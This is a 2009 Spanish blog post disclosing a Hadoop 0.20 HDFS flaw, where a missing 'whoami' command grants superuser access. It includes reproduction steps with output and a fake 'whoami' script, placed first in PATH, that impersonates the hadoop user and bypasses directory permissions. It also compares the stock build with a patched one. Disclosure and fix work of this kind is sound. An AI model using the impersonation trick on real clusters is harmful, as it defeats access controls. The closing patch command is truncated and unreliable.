SafeChildren Banner

Havoc Oracle Solaris Experts

miércoles, 29 de julio de 2009

Problema de Seguridad HDFS y Solaris 10 con whoami

Introducción
Como ya he comentado en los anteriores posts Gestión de permisos en HDFS y El misterio de DrWho en Solaris 10 así que no voy a darle más vueltas y vamos a verlo con un ejemplo

El Problema
Básicamente el problema se encuentra en cómo se obtiene el usuario que está ejecutando el proceso. En la mayoría de las situaciones whoami está en el path, sin embargo, si no lo encuentra se asigna el usuario DrWho y iSuper a true, por lo tanto, ya no se evalúan los permisos en el sistema HDFS.

He creado un pequeño programa que evalúa las dos versiones hadoop-0.20-core y la que he creado yo hadoop-0.20.1-dev-core que tiene los parches para evitarlo.


A continuación os pongo el comentario que he hecho en el bug de Hadoop traducido al castellano para ver cómo explotar (y corregir) el fallo actual.

Pasos para reproducir el error

1.- Crear un nuevo directorio en el sistema HDFS y asignar el usuario y grupo como hadoop con permisos 700 para que sólo hadoop pueda escribir en él
$ uname -a
SunOS sol10-enigma 5.10 Generic_139556-08 i86pc i386 i86pc
$ hadoop fs -mkdir testdir
$ hadoop fs -chown -R hadoop:hadoop testdir
$ hadoop fs -chmod 700 testdir
$ hadoop fs -lsr
drwx------ - hadoop hadoop 0 2009-07-29 18:43 /user/hadoop/testdir

2.- Desde otro Sun ejecutando Solaris lanzamos la aplicación TestHadoop. Este Solaris no tiene whoami en el path
$ uname -a
SunOS hedwig 5.10 Generic_127127-11 sun4u sparc SUNW,Sun-Fire-V490
$ id
uid=2011(postgres) gid=90(postgres)
$ /usr/xpg4/bin/id -Gn
postgres dba
$ /usr/xpg4/bin/id -un
postgres
$ which whoami
no whoami in /opt/apache-ant-1.7.1/bin /u01/app/postgres/8.4/db/bin/64 /u01/app/postgres/8.4/db/bin /usr/bin /usr/sfw/bin /usr/local/bin
3.- Ejecutamos la aplicación de Test
$ cd TestHadoop/
$ ant
Buildfile: build.xml

init:
[mkdir] Created dir: /export/home/postgres/TestHadoop/build
[mkdir] Created dir: /export/home/postgres/TestHadoop/javadoc
[mkdir] Created dir: /export/home/postgres/TestHadoop/build.test

compile:
[javac] Compiling 1 source file to /export/home/postgres/TestHadoop/build
[javac] /export/home/postgres/TestHadoop/src/com/sfchildren/sbcore/backup/Main.java:89: warning: [deprecation] USER_NAME_COMMAND in org.apache.hadoop.util.Shell has been deprecated
[javac] String[] result = executeShellCommand( new String[]{Shell.USER_NAME_COMMAND});
[javac] ^
[javac] 1 warning

dist:
[mkdir] Created dir: /export/home/postgres/TestHadoop/dist
[jar] Building jar: /export/home/postgres/TestHadoop/dist/hadoop-example.jar

run:
[echo]
[echo] Test Hadoop Shell.USER_NAME without "whois" at path
[echo]
[echo] 1.- Test with original Hadoop-0.20.0-core.jar
[echo] 2.- Test with *NEW* Hadoop-0.20.1-core-dev.jar
[echo]
[echo] TestCase
[echo] - Create 3 directories "uno" "dos" "tres" at "/user/hadoop/testdir"
[echo] the "/user/hadoop/testdir" has the been created as bellow
[echo]
[echo] $ hadoop fs -mkdir testdir
[echo] $ hadoop fs -chown -R hadoop:hadoop testdir
[echo] $ hadoop fs -chmod 700 testdir
[echo] $ hadoop fs -lsr
[echo] drwx------ - hadoop hadoop 0 2009-07-29 18:24 /user/hadoop/testdir
[echo]
[echo] - Create 1 file onto directory
[echo]
[echo]
[echo]
[echo]
[echo]
[echo] Running with hadoop-0.20.0-core.jar
[echo]
[echo]
[java] Get UserName from System.getProperty: postgres
[java] Get UserName from Shell.USER_NAME_COMMAND Fail, Default User DrWho assigned
[java] 29-jul-2009 19:16:59 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 772889 bytes Time: 1 seconds
[java] 29-jul-2009 19:17:04 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 3592563 bytes Time: 4 seconds
[java] 29-jul-2009 19:17:20 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 12417028 bytes Time: 16 seconds
[echo]
[echo]
[echo] Running With New Hadoop-0.20.1-dev-core
[echo]
[echo]
[java] Get UserName from System.getProperty: postgres
[java] Get UserName from Shell.USER_NAME_COMMAND Fail, Default User DrWho assigned
[java] Get UserName from Shell.getUSER_NAME_COMMAND() postgres
[java] Exception org.apache.hadoop.security.AccessControlException: Permission denied: user=postgres, access=EXECUTE, inode="testdir":hadoop:hadoop:rwx------

BUILD SUCCESSFUL
Total time: 27 seconds
Como se puede observar, cuando la aplicación se ejecuta con hadoop-0.20-core.jar el usuario del sistema (postgres) se ignora, ya que se produce una excepción y se asigna DrWho y puede crear los directorios y archivos sin problemas. Sin embargo, cuando se ejecuta con la versión modificada hadoop-0.20.1-dev-core.jar si que se identifica el usuario correctamente como postgres y se produce una excepción de acceso denegado

4.- Comprobar cómo ha creado los archivos y directorios con DrWho
$ hadoop fs -lsr
drwx------ - hadoop hadoop 0 2009-07-29 18:50 /user/hadoop/testdir
drwxr-xr-x - DrWho hadoop 0 2009-07-29 18:50 /user/hadoop/testdir/dos
-rw-r--r-- 3 DrWho hadoop 3592563 2009-07-29 18:50 /user/hadoop/testdir/dos/testfile
drwxr-xr-x - DrWho hadoop 0 2009-07-29 18:50 /user/hadoop/testdir/tres
-rw-r--r-- 3 DrWho hadoop 12417028 2009-07-29 18:50 /user/hadoop/testdir/tres/testfile
drwxr-xr-x - DrWho hadoop 0 2009-07-29 18:50 /user/hadoop/testdir/uno
-rw-r--r-- 3 DrWho hadoop 772889 2009-07-29 18:50 /user/hadoop/testdir/uno/testfile
5.- La configuración del sistema HDFS incluye un parámetro para que el SuperGroup sea hadoop de la siguiente forma
<property>
<name>dfs.permissions.supergroup</name>
<value>hadoop</value>
<final>true</final>
</property>
Sin embargo, el usuario que ha lanzado la aplicación de test es postgres con grupos postgres y dba en ningún caso hadoop

Falsear el comando "whoami"
El otro problema es falsear el comando whoami para hacer que hadoop crea que somos otro usuario, para ello, crearemos nuestro whoami y lo insertaremos en el path en primera posición

1.- En el cluster de Hadoop, limpiamos y volvemos a crear el directorio testdir
$ hadoop fs -rmr testdir
Deleted hdfs://namenode.hadoop.test.com:54310/user/hadoop/testdir
$ hadoop fs -mkdir testdir
$ hadoop fs -chown -R hadoop:hadoop testdir
$ hadoop fs -chmod 700 testdir
$ hadoop fs -lsr
drwx------ - hadoop hadoop 0 2009-07-29 19:02 /user/hadoop/testdir
2.- En la segunda máquina, vamos a crear un fake de whoami
$ uname -a
SunOS hedwig 5.10 Generic_127127-11 sun4u sparc SUNW,Sun-Fire-V490
$ which whoami
no whoami in /opt/apache-ant-1.7.1/bin /u01/app/postgres/8.4/db/bin/64 /u01/app/postgres/8.4/db/bin /usr/bin /usr/sfw/bin /usr/local/bin
$ echo "echo hadoop" > ~/whoami
$ chmod +x ~/whoami
$ export PATH=~:$PATH
$ which whoami
/export/home/postgres/whoami
$ whoami
hadoop
$ id
uid=2011(postgres) gid=90(postgres)
3.- Ejecutamos la aplicación de prueba
$ cd TestHadoop/
$ ant
Buildfile: build.xml

init:

compile:

dist:

run:
[echo]
[echo] Test Hadoop Shell.USER_NAME without "whois" at path
[echo]
[echo] 1.- Test with original Hadoop-0.20.0-core.jar
[echo] 2.- Test with *NEW* Hadoop-0.20.1-core-dev.jar
[echo]
[echo] TestCase
[echo] - Create 3 directories "uno" "dos" "tres" at "/user/hadoop/testdir"
[echo] the "/user/hadoop/testdir" has the been created as bellow
[echo]
[echo] $ hadoop fs -mkdir testdir
[echo] $ hadoop fs -chown -R hadoop:hadoop testdir
[echo] $ hadoop fs -chmod 700 testdir
[echo] $ hadoop fs -lsr
[echo] drwx------ - hadoop hadoop 0 2009-07-29 18:24 /user/hadoop/testdir
[echo]
[echo] - Create 1 file onto directory
[echo]
[echo]
[echo]
[echo]
[echo]
[echo] Running with hadoop-0.20.0-core.jar
[echo]
[echo]
[java] Get UserName from System.getProperty: postgres
[java] Get UserName from Shell.USER_NAME_COMMAND hadoop
[java] 29-jul-2009 19:32:45 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 4421872 bytes Time: 4 seconds
[java] 29-jul-2009 19:32:53 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 7235384 bytes Time: 8 seconds
[java] 29-jul-2009 19:33:02 com.sfchildren.sbcore.backup.Main createTmpFile
[java] INFO: File testfile Created with Size: 5693610 bytes Time: 8 seconds
[echo]
[echo]
[echo] Running With New Hadoop-0.20.1-dev-core
[echo]
[echo]
[java] Get UserName from System.getProperty: postgres
[java] Get UserName from Shell.USER_NAME_COMMAND hadoop
[java] Get UserName from Shell.getUSER_NAME_COMMAND() postgres
[java] Exception org.apache.hadoop.security.AccessControlException: Permission denied: user=postgres, access=EXECUTE, inode="testdir":hadoop:hadoop:rwx------

BUILD SUCCESSFUL
Total time: 24 seconds
Como podéis ver, para hadoop el usuario que ha ejecutado el comando es hadoop si utilizamos la versión hadoop-0.20-core.jar, sin embargo, si utilizamos la versión el sistema hadoop-0.20.1-dev-core.jar reconoce correctamente el usuario.

4.- Comprobamos que ha creado en el sistema de ficheros
$ hadoop fs -lsr
drwx------ - hadoop hadoop 0 2009-07-29 19:06 /user/hadoop/testdir
drwxr-xr-x - hadoop hadoop 0 2009-07-29 19:06 /user/hadoop/testdir/dos
-rw-r--r-- 3 hadoop hadoop 7235384 2009-07-29 19:06 /user/hadoop/testdir/dos/testfile
drwxr-xr-x - hadoop hadoop 0 2009-07-29 19:06 /user/hadoop/testdir/tres
-rw-r--r-- 3 hadoop hadoop 5693610 2009-07-29 19:06 /user/hadoop/testdir/tres/testfile
drwxr-xr-x - hadoop hadoop 0 2009-07-29 19:06 /user/hadoop/testdir/uno
-rw-r--r-- 3 hadoop hadoop 4421872 2009-07-29 19:06 /user/hadoop/testdir/uno/testfile
Conclusiones
Queda claro que con el simple hecho de incluir whoami en el path no estamos exentos de que nos puedan sabotear la seguridad impuesta en nuestro sistema HDFS, aunque, mejor es incluir el comando whoami que nada, por lo menos hasta que se resuelva la forma de obtener el usuario que ejecuta el proceso.

Espero no haberos aburrido mucho, con este largo post

Referencias
Nota: para aplicar el parche al archivo Shell.java, haremos
$ patch Shell.java <>
Parece un diff normal.
terminado

No hay comentarios:

Publicar un comentario